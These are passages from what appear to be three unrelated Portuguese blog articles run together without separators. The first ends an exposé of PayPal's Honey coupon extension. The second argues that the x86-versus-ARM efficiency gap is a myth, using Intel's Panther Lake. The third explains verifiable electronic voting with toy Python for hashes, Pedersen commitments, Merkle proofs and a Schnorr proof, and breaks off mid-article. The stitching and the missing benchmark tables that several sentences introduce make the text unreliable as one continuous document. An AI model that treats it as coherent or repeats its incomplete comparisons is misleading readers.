Vale registrar: uma ação paralela de consumidores do Reino Unido, sobre a propaganda enganosa de “melhores cupons”, foi rejeitada em junho de 2026. E a Capital One Shopping, processada por esquema parecido, fechou acordo em setembro de 2025 negando culpa.

Conclusão

O que me pega nessa história toda é o padrão de comportamento do PayPal em cada etapa. Acusado com vídeo e demonstração ao vivo, chamou de fake news. Confrontado com o código, mandou notificação extrajudicial e tentou derrubar o vídeo do Patreon alegando violação de direitos autorais. Alertado formalmente sobre o dispositivo de fraude, chamou de “impreciso” e esperou a Rakuten agir pra desligar. Pego, divulgou que “descobriu recentemente” um sistema que a própria empresa reconstruiu em 2021.

Em cada degrau, a escolha foi negar, ameaçar, minimizar, até a evidência tornar a posição insustentável; aí recuava meio passo fingindo surpresa.

O Honey, como produto, é causa perdida. Mesmo se você não liga pra ética de quem rouba comissão de criador, lembra do que a Amazon avisou lá em 2020: é uma extensão com permissão de ler e modificar seus dados em qualquer site, que escaneia seus cookies, loga seu histórico de navegação com geolocalização, e que aplicava cupom sabidamente expirado só pra fazer volume. Desinstala. Não existe cupom que pague isso.

E o lado inspirador, porque tem um: um desenvolvedor neozelandês motivado, com um analisador de pacotes, uma conta de teste e paciência, fez o que redes bilionárias com times de compliance não fizeram em oito anos. A arma dele foi um arquivo JSON em texto claro e algumas dezenas de linhas de JavaScript que o próprio PayPal serviu pra quem quisesse olhar. A frase que fecha o quarto vídeo resume a arrogância que ele derrubou:

“Quando eu erro, sou o MegaLag. Quando eu acerto, sou só um comentarista da indústria.”

Pois agora ele é testemunha técnica de fato num processo federal. Davi venceu essa rodada. E foi lindo de assistir.

Minha tese: isso era verdade gerações atrás, quando decodificar x86 custava uma fatia relevante da pastilha (o die). Hoje o x86 é, na prática, uma camada de tradução pra micro-instruções — e o que separa Apple, Qualcomm e Intel nunca foi o conjunto de instruções. A crise da Intel foi gerencial e de fábrica, não arquitetural. E é por isso que a volta dela, agora, faz sentido.

O que os reviews mostram

Os laptops Panther Lake (Core Ultra série 3, lançados na CES em 5 de janeiro e à venda desde 27 de janeiro) entregam números que a era Meteor/Arrow Lake não sonhava. Começando por bateria — Dell XPS 14 2026 (Core Ultra X7 358H) contra MacBook Air 15 (M5):

Leitura honesta: em uso leve, o Dell empata ou passa; em carga sustentada, a Apple continua imbatível. E o DHH publicou que seu XPS 14 rodando Omarchy Linux passa de 16 horas de uso real, com consumo em repouso de 1,4W — a Dell fez questão de suporte a Linux desde o dia um.

Na CPU, o topo de linha Core Ultra X9 388H contra o M5 (dados da Notebookcheck):

Single-core continua território da Apple, que faz o mesmo trabalho com um terço da energia. Mas em multi-core moderado, a Intel encostou. Contra a AMD (Ryzen AI 9 465) o 388H ganha em tudo; contra o Snapdragon X Elite de primeira geração também; o X2 Elite Extreme, que chegou em 2026, já devolveu a coroa de CPU Windows pra Qualcomm (+24% em single-core). Honestidade acima de tudo.

Na GPU, o veredito é mais misto que o marketing da Intel sugere:

O resumo da Ars Technica é o mais justo: “o melhor CPU de laptop da Intel em muito tempo” — com a ressalva de que a Intel precisa provar que isso é o novo normal, não uma aberração.

Pra guardar: bateria de MacBook num laptop x86 aconteceu — em uso leve. Em single-core e sob carga pesada, a Apple ainda dita o ritmo.

A crença: “pra ser eficiente tem que ser ARM”

Todo programador já ouviu a explicação: ARM tem conjunto de instruções simples, de tamanho fixo, elegante. O x86 é uma quimera acumulada desde 1978, com instruções de tamanho variável, modo real, segmentação, décadas de bagunça. “Portanto” ARM é inerentemente mais eficiente, e o caminho pra qualquer um chegar na eficiência da Apple ou da Qualcomm é migrar pra ARM64.

Tem verdade aí: o x86 carrega entulho histórico, e decodificar instrução de tamanho variável é objetivamente mais chato que decodificar instrução fixa de 32 bits. O erro está na conclusão. Essa diferença importava quando a lógica de decodificação ocupava uma fração significativa do chip. Isso faz muito tempo.

Pra guardar: a diferença entre ISAs importava quando a decodificação ocupava uma fração relevante da pastilha. Isso acabou há gerações.

O x86 virou camada de tradução em 1995

O Pentium Pro, de novembro de 1995, já não executava x86 diretamente: ele traduzia cada instrução CISC pra micro-operações internas estilo RISC e executava essas. A AMD fez o mesmo com o K5 em 1996 (as “ROPs”). Ou seja: faz trinta anos que “executar x86” significa “traduzir pra outra coisa e executar a outra coisa”. O x86 é uma interface de compatibilidade, uma camada de tradução sobre um motor RISC. E os números mostram o quanto essa camada ficou barata:

Quando o cache de micro-ops acerta, o hardware de busca e decodificação fica literalmente desligado. A conclusão do estudo da Hirki é seca: “o conjunto de instruções x86-64 não é um obstáculo relevante pra produzir um processador energeticamente eficiente”. E o estudo acadêmico definitivo — Blem, Menon e Sankaralingam, HPCA 2013, medindo ARM contra x86 de verdade — concluiu: contagem e composição de instruções são independentes do ISA em primeira ordem, as diferenças de performance vêm de microarquitetura, e “o consumo de energia é, novamente, independente do ISA”.

O Jim Keller — o cara que desenhou o Zen da AMD e os chips A4/A5 da Apple, alguém que morou nos dois lados — foi ainda mais direto numa entrevista à AnandTech: a decodificação de tamanho variável “não está dominando a pastilha, então não importa tanto”. O que limita performance hoje, segundo ele, é previsibilidade de branch e localidade de dados.

E tem o detalhe que derruba o mito de vez: ARM moderno faz a mesma coisa. O Cortex-A77 tem cache de micro-ops. A Samsung adicionou um no Exynos M5 explicitamente pra economizar energia de busca e decodificação. O A64FX da Fujitsu — o ARM dentro do supercomputador Fugaku — decodifica a instrução SVE FADDA em 63 micro-ops. Sessenta e três. A fantasia do “ARM é uma instrução por ciclo, simples e pura” não existe mais em nenhum ARM de alto desempenho.

Uma nuance honesta antes de seguir: o comprimento variável do x86 realmente dificulta fazer decodificadores muito largos — a Apple decodifica até o dobro de instruções por ciclo que um x86. É uma dificuldade de engenharia real. Só que ela se paga em área de lógica, que é barata, e não em consumo proporcional ao trabalho — que é o que define bateria.

Pra guardar: faz trinta anos que nenhum x86 executa x86 — tudo vira micro-operação estilo RISC. O ISA virou interface de compatibilidade.

A conta dos transistores

Pra entender por que o peso da decodificação evaporou, olha a evolução:

Em 2000, cada bloco de lógica era um orçamento apertado, e a bagunça do x86 custava caro. Conforme os transistores ficaram infinitos pra todo fim prático, o custo fixo do decodificador virou troco. No meio do caminho, duas mudanças importantes:

• A escala de Dennard morreu por volta de 2005. Vazamento de corrente impediu que os clocks continuassem subindo, a Intel cancelou o Tejas em 2004 e o mundo virou multicore. Clock parou nos 1-4GHz e nunca mais saiu dali.
• A lei de Moore virou economia, não física. O custo por transistor parou de cair no 28nm: uma fab de ponta hoje custa US$20 a 30 bilhões, e uma máquina High-NA EUV da ASML custa US$350 milhões.

E o que ocupa pastilha e consome energia num chip moderno? Caches gigantes, branch predictors, dezenas de execution ports, GPU, NPU, motores de mídia. O decodificador de x86, na fila do pão, nem aparece.

E a história dá a prova empírica perfeita: de 2015 a 2021, a Intel ficou presa em 14nm — Skylake e seus derivados, seis anos de processo estagnado por falha de fábrica. Mesmo assim, esses cores velhos em 14nm trocavam soco com o Zen 2 da AMD, fabricado em 7nm pela TSMC. Se o x86 fosse o problema, isso seria impossível. O gargalo era a fábrica. Era a fábrica o tempo todo.

Pra guardar: seis anos presa em 14nm, e mesmo assim a Intel competia com chips em 7nm da TSMC. O gargalo era a fábrica, nunca o ISA.

O que realmente faz a Apple ser eficiente

O M1 não é eficiente “porque é ARM”. A Apple tem licença arquitetural da ARM desde o A6, em 2012: ela desenha os próprios cores do zero e só o conjunto de instruções é ARM. Quando a AnandTech dissecou o core Firestorm do M1, o contraste com o x86 contemporâneo era de escolhas de engenharia, não de instruções:

Na prática: o dobro de decodificação por ciclo, quase o dobro de buffer de reordenação, seis vezes o cache de instruções. Some a isso a memória unificada soldada no pacote e o processo TSMC de última geração. É microarquitetura agressiva, cache enorme, integração vertical e processo de ponta — tudo caro, tudo deliberado, e nada disso vem de graça com o ISA.

Aliás, a recíproca também é verdadeira: dá pra fazer ARM ruim. O mercado está cheio de ARM medíocre. Eficiência é escolha de engenharia e de processo, não certidão de nascença do ISA.

Pra guardar: o M1 é eficiente por microarquitetura, cache, processo e integração vertical — não “porque é ARM”.

Suas instruções favoritas não são x86 nem ARM

E tem outra coisa que quase ninguém menciona nesse debate: boa parte do que uma CPU moderna executa não pertence ao conjunto “clássico” de nenhum dos dois lados. Olha o que roda fora dele:

• Vídeo. Na Intel, a decodificação fica no Quick Sync, hardware de função fixa que existe desde Sandy Bridge — um bloco separado que nada tem a ver com o legado x86. É por causa dele que a Frandroid mediu o Snapdragon X2 58% mais lento que o Panther Lake em exportação de vídeo.
• Criptografia. AES-NI existe desde 2010, extensões de SHA desde 2016 — instruções dedicadas, acrescentadas décadas depois do “x86 velho”.
• IA e matrizes. AVX-512, depois AVX10, e o AMX, um acelerador de tiles de matriz. O lado ARM tem os equivalentes: NEON, SVE, SME.

A Chips and Cheese fez o experimento perfeito: no mesmo encode HEVC 4K, um Ampere ARM levou mais de doze vezes o tempo de um Zen 2 com o ffmpeg padrão; usando assembly NEON, o tempo do ARM caiu mais de 60%. A diferença nunca foi ARM contra x86 — era extensão vetorial bem usada contra extensão vetorial ignorada. No mundo real, o trabalho pesado mora nas extensões e nos aceleradores, e esses são ortogonais ao ISA base.

Pra guardar: o trabalho pesado moderno — vídeo, cripto, IA — roda em extensões e aceleradores dedicados, ortogonais ao ISA base.

A queda foi gerencial, não arquitetural

Aqui a parte que me convence de vez. Olha a linha do tempo e tenta achar “o x86 era uma limitação fundamental” em algum ponto:

• 2005-2006: a Intel recusa fabricar o chip do iPhone — o Otellini admitiu o arrependimento em entrevista de saída à The Atlantic: “o mundo teria sido muito diferente”. E o detalhe tragicômico: a Intel tinha uma divisão ARM (a XScale) — e vendeu pra Marvell em 2006 por US$600 milhões. Não foi falta de tecnologia; foi falta de visão.
• 2013-2021: três CEOs. Krzanich sai em 2018 por escândalo interno. Entra Bob Swan, um CFO de finanças, pra comandar uma empresa de engenharia no momento mais delicado da história dela.
• 2018-2020: o 10nm vira piada (Cannon Lake só em tiragem limitada) e em julho de 2020 a Intel anuncia atraso no 7nm — a ação cai 16% num dia. Em abril de 2019, abandona o modem 5G de smartphone; a Apple compra o negócio por US$1 bilhão. Em novembro de 2020, o M1.
• 2021-2024: Gelsinger volta com o plano IDM 2.0, “cinco nós em quatro anos”. Em dezembro de 2024 é empurrado pra “aposentadoria” — ultimato do conselho, segundo Reuters e Bloomberg. O ano fecha com prejuízo de US$18,8 bilhões, 15 mil demissões, dividendo suspenso e a Intel expulsa do Dow Jones depois de 25 anos — substituída pela Nvidia, que naquele momento valia mais de 30 vezes a Intel. Até outubro de 2025, a conta de demissões acumuladas chegava a 35.500.

Nada nessa lista é arquitetura. É produto perdido, fab atrasada, decisão errada atrás de decisão errada. O x86 estava lá, competente, enquanto a empresa desmontava ao redor dele.

Pra guardar: iPhone recusado, XScale vendida, 10nm quebrado, três CEOs, US$18,8 bilhões de prejuízo — a queda da Intel foi decisão atrás de decisão, não limitação do x86.

O resgate improvável

E aí 2025 acontece. Lip-Bu Tan assume em março. Em agosto, Trump exige a cabeça dele no Truth Social por laços com a China — e poucos dias depois, após uma reunião na Casa Branca, vira fã do cara. No dia 22 de agosto, o governo americano compra 9,9% da Intel: 433,3 milhões de ações a US$20,47, US$8,9 bilhões no total, convertendo subsídios do CHIPS Act em participação acionária, sem assento no conselho. A SoftBank coloca US$2 bilhões. E a cereja surreal: a Nvidia — a mesma que a expulsou do Dow — investe US$5 bilhões e fecha parceria pra colocar chiplets RTX em CPUs x86.

O resultado financeiro começou a aparecer: Q1 2026 com receita de US$13,6 bilhões (+7% ao ano), Q2 com US$16,1 bilhões (+25%), sétimo trimestre seguido acima das projeções. A ação que o governo pagou US$20,47 chegou a mais de seis vezes esse valor em maio, quando a Bloomberg noticiou conversas pra Intel fabricar chips da Apple — reportagem preliminar, produção a anos de distância, mas o mercado pirou. Mesmo depois de esfriar, a posição do governo americano segue valendo cinco vezes o que custou. O contribuinte dos EUA é, hoje, sócio lucrativo da Intel. Vai entender.

Pra guardar: governo dos EUA, SoftBank e Nvidia como sócios, e a ação cinco vezes acima do preço que o governo pagou — a Intel virou causa nacional, e o mercado comprou a volta.

A volta, com os pés no chão

O Panther Lake é o primeiro produto grande do 18A — RibbonFET (transistor gate-all-around) mais PowerVia (alimentação pelo verso do wafer), saindo da Fab 52 em Chandler, Arizona. Tem ironia deliciosa aqui: o tile de GPU de 12 núcleos do topo de linha ainda é fabricado pela TSMC. E o aproveitamento do 18A (a fração de chips bons por wafer), segundo a Tom’s Hardware, só deve chegar ao padrão da indústria em 2027 — a rampa é lenta e a Ars Technica acerta na dúvida: é o novo normal ou uma aberração?

Mas o ponto deste artigo não é torcida organizada. É que o Panther Lake encerra empiricamente um debate que era teológico. Um x86-64 em processo competitivo entrega bateria de MacBook, empata multi-core com o M5 e ganha da concorrência Windows em vários cenários. Se o ISA fosse o fator decisivo, isso não aconteceria nunca, em nenhum processo. O que derrubou a Intel foi gestão; o que a traz de volta é fab e foco; e o que separa Apple, Qualcomm, AMD e Intel é microarquitetura, cache, processo e integração — exatamente como o Jim Keller e a literatura sempre disseram.

Torço pela volta dela. Não por nostalgia de quem montou PC com Pentium, mas porque o mercado de laptops eficientes estava virando duopólio confortável — e duopólio confortável é inimigo de preço e de inovação. Que a briga continue.

Pra guardar: o Panther Lake encerra um debate teológico: x86 competitivo existe quando a fábrica é competitiva. O jogo nunca foi sobre instruções.

Recentemente o TSE fez um teatrinho: “abriu a urna” pra técnicos da Sociedade Brasileira de Computação verem os componentes. Isso é obviamente inútil. Mostrar placa-mãe, processador e memória não prova que não existe malware. Hardware é só o palco; a peça acontece no software. E auditar o software é justamente o que é difícil, restrito, cheio de ritual e janela curta — o que derrota completamente o propósito de transparência pública. Uma auditoria que só meia dúzia de credenciados consegue fazer, sob supervisão, por alguns dias, não é transparência. É encenação.

E pra deixar claro: eu não defendo o sistema atual, nem tenho expectativa nenhuma nele. Como resumi neste tweet: a urna é só uma caixa, um PC velho. Mesmo que o software fosse perfeito, não faria diferença — os processos ao redor continuam secretos, feitos debaixo dos panos. A urna é cortina de fumaça. Com ou sem alternativa, eu não ligo pra ela.

Muita gente conclui daí que o certo seria ter eleição digital, mas com um sistema diferente. Esse artigo é um exercício de ciência da computação: como seria um sistema hipoteticamente perfeito? E, mais importante, a conclusão final: por que mesmo esse sistema perfeito não seria uma opção viável.

Uma coisa que vale enfatizar antes de começar: o sistema que vou descrever não exigiria nenhum segredo do governo. Nenhum componente secreto, nenhum processo secreto, nenhuma sala trancada com credenciado vigiando. Tudo — o código, os dados, a estrutura inteira — poderia ser 100% aberto, acessível pra qualquer pessoa, sem restrição nenhuma. E ainda assim seria possível provar, matematicamente, que fraudar é impossível. É exatamente o oposto do modelo atual, em que a confiança nasce do sigilo.

Sem paciência pra código e matemática no meio do caminho? Pule direto pra parte em que explico por que isso não funcionaria. E no fim do artigo, três apêndices: o sistema atual é auditável?, como dar incentivo pra quem verifica o voto e por que “conhecimento zero” é tão difícil de engolir.

“A urna é segura porque não está na internet”

Todo defensor do sistema atual saca esse argumento mais cedo ou mais tarde: a urna não está conectada à internet, logo não pode ser hackeada de fora. Tecnicamente é verdade. E é completamente irrelevante.

Primeiro, porque isolamento não diz nada sobre o que o software faz. Uma urna offline pode trocar votos do mesmo jeito — você só não tem como assistir ela fazendo isso. E malware não precisa de rede pra chegar: pode vir de fábrica, numa atualização, na cadeia de suprimentos, de um técnico com acesso físico. O Stuxnet, o worm mais famoso da história, atravessou o air gap das centrífugas iranianas via pendrive. Air gap é obstáculo, não é prova de honestidade. E repare: o dado da urna precisa sair dela de algum jeito no fim do dia, em mídia física transportada ou transmissão posterior. “Não está na internet” é uma meia-verdade logística.

Segundo, e mais importante: esse argumento revela o modelo mental errado. A segurança do sistema atual nasce de custódia física — lacres, salas trancadas, credenciados, rituais. Ou seja, mais uma vez, de confiar em gente e em processo que você não vê.

No sistema que vou descrever, a urna poderia estar ligada direto na internet, publicando cada voto na árvore pública em tempo real, e ainda assim seria impossível fraudar. Não porque a rede seja segura, mas porque ninguém precisa confiar na urna:

• O que ela publica são compromissos opacos: mesmo transmitindo tudo ao vivo, não existe voto pra vazar nos dados publicados.
• Cada compromisso carrega uma prova matemática de validade: a urna não consegue inventar voto inválido.
• A árvore é pública e replicada por observadores independentes: nada do que foi publicado pode ser alterado depois sem quebrar os hashes.
• E se a urna trocar seu voto na hora, o desafio de Benaloh pega (é a Peça 4, mais adiante): ela não sabe se você vai confirmar ou auditar.

Estar ou não na internet deixa de ser a questão. A segurança não mora na ausência de rede; mora na verificação pública. “Confie, a máquina está trancada numa sala” vira “não confie em nada, confira a matemática”. Essa inversão é a única coisa que o modelo atual não consegue oferecer.

O tweet que inspirou este post

Recentemente eu postei este tweet sobre verificabilidade ponta a ponta (E2E-V, end-to-end verifiability). O resumo da ideia:

1. Cada eleitor recebe um recibo em papel com um identificador único — um hash — que não identifica a pessoa nem o voto.
2. Os votos de cada urna entram numa estrutura pública onde só se acrescenta, nunca se apaga (append-only): uma Merkle tree (o mesmo princípio de uma blockchain).
3. Essa árvore é publicada na íntegra. Qualquer cidadão baixa e verifica.
4. Verificabilidade individual: cada eleitor checa se o seu hash está lá, sem intermediário.
5. Verificabilidade universal: qualquer um refaz a conta da árvore e confere se ela produz o total anunciado.

Eu deixei explícito no tweet: isso não é uma solução, é uma ideia de guardanapo. O conceito existe, é matematicamente sólido e não é novidade pra ninguém de ciência da computação. Mas a reação foi interessante.

O problema do voto de cabresto

Boa parte dos comentários travou no mesmo ponto: o voto de cabresto. No Brasil isso é prática histórica: o coronel compra o voto do eleitor pobre e exige prova de que ele votou “direito”. Antigamente era a cédula pré-marcada; hoje seria a foto da tela da urna (por isso celular é proibido na cabine).

E aí surge a aparente contradição:

• Se o recibo que o eleitor leva pra casa revela pra quem ele votou, ele pode ser coagido ou vendido.
• Se o recibo não revela pra quem ele votou, como o eleitor confere que o voto dele foi pro candidato certo?

Recentemente postei a resposta, ainda que só de passagem: prova de conhecimento zero (zero-knowledge proof, ZK). O mesmo princípio por trás de criptomoedas verdadeiramente anônimas como Monero e Zcash.

O fluxo seria assim: o eleitor escolhe o candidato na tela; a urna gera um número aleatório secreto, computa ciphertext = Enc(chave_publica_da_eleicao, voto; aleatorio), gera uma prova ZK de que esse ciphertext contém um voto válido, e publica tudo numa Merkle tree pública. O eleitor leva pra casa só um número de série. O serial não contém o voto, mas permite provar que o voto existe na árvore e não foi adulterado.

Agora vamos destrinchar isso pra programador, passo a passo, com valores reais — e no final eu explico por que isso, mesmo funcionando perfeitamente, não resolveria nada.

Peça 1: hash como compromisso

A fundação de tudo é a função de hash. Uma função como SHA-256 pega qualquer entrada e produz 32 bytes aparentemente aleatórios. Três propriedades importam aqui:

• Determinística: mesma entrada, mesma saída. Sempre.
• Unidirecional: dado o hash, não dá pra voltar à entrada.
• Avalanche: mudar um bit da entrada muda o hash inteiro.

import hashlib

def commit(voto, nonce):
    return hashlib.sha256(f"{voto}:{nonce}".encode()).hexdigest()

commit('Candidato A', 987654321) = 337051f1dbc6a8ef412ecc14067c263d6a0dc83dada6939b51d74b6651727b69
commit('Candidato A', 123456789) = 55512bcd60924abf68d162f1a130023635089974db08ea9cff691e1f209898ab
commit('Candidato B', 987654321) = faf54e90eb84ba4c0446701c3779a382e48d02847bd2301f3836f673c54f9693

Olhe com atenção. O primeiro e o segundo hash escondem o mesmo voto — o que muda é o nonce, um número aleatório que serve de “embalagem”. O primeiro e o terceiro têm o mesmo nonce, mas votos diferentes. Os três hashes não têm nenhuma semelhança visível entre si.

Isso é um compromisso (commitment): eu publico o hash hoje, e amanhã posso revelar (voto, nonce) e qualquer um confere que o hash bate. Eu não consigo mudar o voto depois de publicado (propriedade binding), e ninguém consegue descobrir o voto antes da revelação (propriedade hiding).

Só que tem um problema pra nossa eleição: se o eleitor leva pra casa o voto e o nonce, ele pode mostrar os dois pro coagidor, que verifica o hash e confirma o voto. Cabresto de volta. Precisamos de algo melhor.

Peça 2: compromissos Pedersen — esconder de verdade

O compromisso de Pedersen resolve isso com aritmética modular. Vou usar números de brinquedo pra você poder conferir na mão; sistemas reais usam primos de 2048 bits ou curvas elípticas, mas a matemática é idêntica.

Pegue um primo p = 23 e dois geradores g = 4 e h = 8 (ambos geram um subgrupo de ordem 11 módulo 23 — confira: 4^11 mod 23 = 1 e 8^11 mod 23 = 1). O compromisso de um voto v com nonce n é:

C = g^v * h^n  (mod p)

p, q, g, h = 23, 11, 4, 8

def pedersen(v, n):
    return (pow(g, v, p) * pow(h, n, p)) % p

C(voto=1, n=3)  = 1
C(voto=1, n=9)  = 13
C(voto=0, n=3)  = 6

Mesmo voto, nonces diferentes, compromissos completamente diferentes. O Pedersen tem uma propriedade chamada ocultação perfeita (perfectly hiding): para qualquer compromisso C, existe um nonce que abre C como voto 0, e existe um nonce que abre C como voto 1. Com nosso primo de brinquedo dá pra provar por força bruta:

C = 1  # o compromisso de cima, C(voto=1, n=3)

for n in range(11):
    if pedersen(0, n) == C:
        print(f"C abre como voto=0 com nonce {n}")
    if pedersen(1, n) == C:
        print(f"C abre como voto=1 com nonce {n}")

C=1 abre como voto=0 com nonce 0
C=1 abre como voto=1 com nonce 3

Leia de novo, porque este é o coração do artigo. O compromisso C = 1 é compatível com as duas histórias. Quem vê só o C não tem como saber qual é a verdadeira — nem por força bruta, nem com computador quântico, porque ambas as aberturas existem matematicamente. O valor C simplesmente não contém a informação do voto.

“Mas espera”, você diz, “então o eleitor pode trocar de voto depois?”. Não, e essa é a outra metade da propriedade: o compromisso é computacionalmente vinculante (computationally binding). Quem gerou o compromisso com (voto=1, n=3) só consegue revelar a outra abertura (voto=0, n=0) se conseguir calcular logaritmo discreto — ou seja, descobrir x tal que g^x = h mod p. Com p = 23 é trivial; com 2048 bits, é computacionalmente impossível. Resumo:

• Quem olha de fora não descobre o voto (ocultação).
• Quem gerou não consegue mudar o voto depois (vinculação).

E o detalhe final que mata o cabresto: quem gera o nonce é a urna, não o eleitor. O eleitor vê seu voto na tela, a urna faz o compromisso internamente, descarta o nonce e imprime só o C — o serial. O eleitor sai da cabine sem ter como abrir o próprio compromisso, nem que queira.

(Um detalhe de implementação que vou simplificar daqui pra frente: o Pedersen esconde tão bem que ninguém consegue decriptá-lo — nem as autoridades na hora de apurar. Na prática, a urna publica junto um ciphertext ElGamal do mesmo voto: igualmente opaco pra quem olha de fora, mas decriptável pelas autoridades na apuração, com uma prova ZK de que os dois carregam o mesmo voto. Nosso Pedersen de brinquedo faz o papel dos dois neste artigo, pra manter a matemática com números pequenos.)

Peça 3: a Merkle tree — a urna que qualquer um audita

Onde ficam esses compromissos? Numa estrutura pública que qualquer pessoa pode baixar e verificar: uma Merkle tree. Se você assistiu meu vídeo sobre criptografia na prática — certificados, BitTorrent, Git, Bitcoin, já viu essa estrutura em ação: é a mesma que escala o BitTorrent, organiza os commits do Git e as transações de um bloco de Bitcoin.

A construção é simples: cada folha é o hash de um voto (o compromisso C de um eleitor), e cada nó interno é o hash da concatenação dos dois filhos, até sobrar um único hash no topo: a raiz.

def H(x):
    return hashlib.sha256(x.encode()).hexdigest()

eleitores = [(1, 3), (0, 7), (1, 2), (1, 10), (0, 5), (1, 1), (0, 8), (1, 4)]
leaves = [H(f"{i}:{pedersen(v, n)}") for i, (v, n) in enumerate(eleitores)]

Com os 8 votos de exemplo, as folhas ficam assim (hashes abreviados):

eleitor 0: voto=1 nonce=3  -> C=1  -> folha=ef134f2a180ba05d...
eleitor 1: voto=0 nonce=7  -> C=12 -> folha=ce356d2f943ea5af...
eleitor 2: voto=1 nonce=2  -> C=3  -> folha=8e0375adfc1f4563...
eleitor 3: voto=1 nonce=10 -> C=12 -> folha=df284a49f837c454...
eleitor 4: voto=0 nonce=5  -> C=16 -> folha=fd6df9e3530cb74f...
eleitor 5: voto=1 nonce=1  -> C=9  -> folha=e0e9d38f9ccb7a41...
eleitor 6: voto=0 nonce=8  -> C=4  -> folha=e719f7fde83fafda...
eleitor 7: voto=1 nonce=4  -> C=8  -> folha=1393ac80e69a8991...

RAIZ PUBLICA: 48826b6481b574e37156f85e34d877105bc55073fb5a5b981239572a8e7c4b61

(Os votos e nonces da tabela aparecem abertos só pra você conferir a conta; na árvore pública existem apenas as folhas — hashes opacos.)

A raiz é o “resumo” da eleição inteira: 32 bytes que representam todos os votos. Se um único bit de um único voto mudar, a raiz muda completamente. Publica-se a raiz e a árvore inteira. Qualquer cidadão, em casa, com código aberto, refaz a árvore e confere se a raiz publicada bate. Isso é a verificabilidade universal.

Pra verificação individual, suponha que você é o eleitor 4. Seu recibo é o serial — a folha fd6df9e3530cb74f1f0795b751a43454cab281a431d0558b413e33bba83a4100, que é o hash do seu compromisso C = 16 na posição 4 da árvore. Pra provar que ele está na árvore, você não precisa baixar e conferir todos os 8 votos — precisa de apenas log2(8) = 3 hashes, o caminho dos “irmãos” até a raiz:

def merkle_verify(leaf, proof, root):
    cur = leaf
    for h_, side in proof:
        cur = H(h_ + cur) if side == "esq" else H(cur + h_)
    return cur == root

prova do eleitor 4:
  (dir) e0e9d38f9ccb7a41...  (irmão: folha do eleitor 5)
  (dir) 3149c3bf17d98fbc...  (irmão: nó dos eleitores 6-7)
  (esq) 3b902c849a40619b...  (irmão: nó dos eleitores 0-3)

verificação local: True
tentando folha adulterada: False

Você pega seu serial, concatena com os 3 hashes da prova na ordem certa, hasheia três vezes e confere se chegou na raiz pública. Se chegou, é matematicamente impossível que seu voto não esteja na árvore — porque produzir uma prova falsa exigiria encontrar uma colisão no SHA-256, e ninguém no planeta sabe fazer isso. Se alguém trocar seu voto depois, sua prova deixa de funcionar e você tem a evidência da fraude na mão. Numa eleição real com 150 milhões de votos, a prova teria uns 28 hashes — cabe num recibo de papel ou num QR code.

Repare no que acabou de acontecer: você provou que uma informação está na árvore pública e que ninguém mexeu nela, carregando pra casa apenas um número de 32 bytes que, sozinho, não diz absolutamente nada sobre o conteúdo. É isso que as pessoas querem dizer com “zero knowledge” nesse contexto: a verificação acontece sem que o conhecimento (o voto) precise circular.

Peça 4: o desafio de Benaloh — conferindo a urna na hora

Sobrou um ponto cego. A urna mostra na tela “voto registrado” e imprime seu serial C. Em casa, você confere que C está na árvore. Tudo certo? Nem tanto. E se a urna tiver mentido e comprometido outro voto? Na tela ela mostra o candidato que você escolheu, mas por dentro calcula o compromisso de outro. Você jamais perceberia, porque o compromisso é opaco por design. É a propriedade de ocultação trabalhando contra você.

A solução clássica é do criptógrafo Josh Benaloh, e ficou conhecida como desafio de Benaloh (ou cast-or-challenge). A ideia: depois que a urna mostra o compromisso C na tela, mas antes de você confirmar, existem duas opções:

• Confirmar: o voto vale, entra na árvore e o nonce é descartado pra sempre.
• Desafiar: você declara aquela cédula um voto de teste. A urna é obrigada a revelar o nonce e o voto que ela pôs dentro do compromisso, e você refaz a conta na hora — num app independente, no seu próprio celular, não no software da urna:

# a urna mostrou na tela: C = 1
# você desafiou; a urna revela: voto=1, nonce=3
pedersen(1, 3) == 1   # True -> a urna comprometeu exatamente o que você escolheu

Se bate, a urna foi honesta naquela cédula. A cédula de teste é anulada, não entra na apuração — o nonce revelado a tornaria legível — e você vota de novo, agora pra valer.

Agora suponha uma urna adulterada, que troca uma fração dos votos. Você escolhe voto=1; ela registra por dentro voto=0 e mostra C = 12 na tela (pedersen(0, 7) = 12). Se você confirmar, a fraude passa batida. Mas se você desafiar, a urna está encurralada: precisa revelar um par (voto, nonce) que abra C = 12. O único que ela conhece é (0, 7) — e revelar isso expõe a troca na sua frente: “eu votei 1!”. Abrir como voto=1 exigiria achar um nonce n com pedersen(1, n) = 12, que é o problema do logaritmo discreto de novo. Com nosso primo de brinquedo dá pra achar por força bruta (existe: n = 10), mas com primos de 2048 bits a urna trapaceira simplesmente não consegue produzir a resposta.

E o que fecha a armadilha: a urna não sabe de antemão se você vai confirmar ou desafiar. A decisão é sua, tomada depois que o compromisso já foi mostrado. Se uma parcela dos eleitores testa algumas cédulas antes de votar pra valer, uma urna que adultera votos em escala é pega com probabilidade esmagadora. Sistemas reais de votação verificável, como o Helios e o ElectionGuard, usam exatamente esse mecanismo.

E note que isso não fere o sigilo de nada: o nonce revelado é de uma cédula anulada, que não conta. O voto que vale continua com o nonce descartado e o compromisso impenetrável.

Peça 5: prova de conhecimento zero de verdade — Schnorr

Falta mais uma peça. Quem garante que cada compromisso na árvore contém um voto válido — e não, digamos, voto = 500, que inflaria o resultado? A urna precisa provar que o compromisso abre pra um valor legítimo sem abrir o compromisso. Isso é uma prova de conhecimento zero no sentido estrito.

O exemplo canônico, e que dá pra demonstrar com números pequenos, é o protocolo de Schnorr: provar que você conhece um segredo s tal que y = g^s mod p, sem revelar s. A intuição antes da matemática: é a caverna de Ali Babá. A caverna tem duas passagens que se encontram numa porta trancada. Você prova que tem a chave entrando por um lado e saindo pelo que o verificador pedir — sem nunca mostrar a chave. Se não tivesse a chave, você só acertaria o pedido por sorte, 50% das vezes; depois de 20 rodadas, a chance de enganar é menor que uma em um milhão.

A versão matemática, com nossos números de brinquedo (p = 23, g = 4, ordem q = 11):

segredo = 7
y = pow(g, segredo, p)   # y = 4^7 mod 23 = 8  (valor público)

# 1. compromisso: o provador escolhe r aleatório e envia t
r = 3
t = pow(g, r, p)          # t = 4^3 mod 23 = 18

# 2. desafio: o verificador escolhe c aleatório
c = 5

# 3. resposta: o provador calcula z
z = (r + c * segredo) % q  # z = (3 + 5*7) mod 11 = 5

# verificação: g^z == t * y^c (mod p)
esq = pow(g, z, p)                 # 4^5 mod 23 = 12
dir = (t * pow(y, c, p)) % p       # 18 * 8^5 mod 23 = 12
print(esq == dir)                  # True

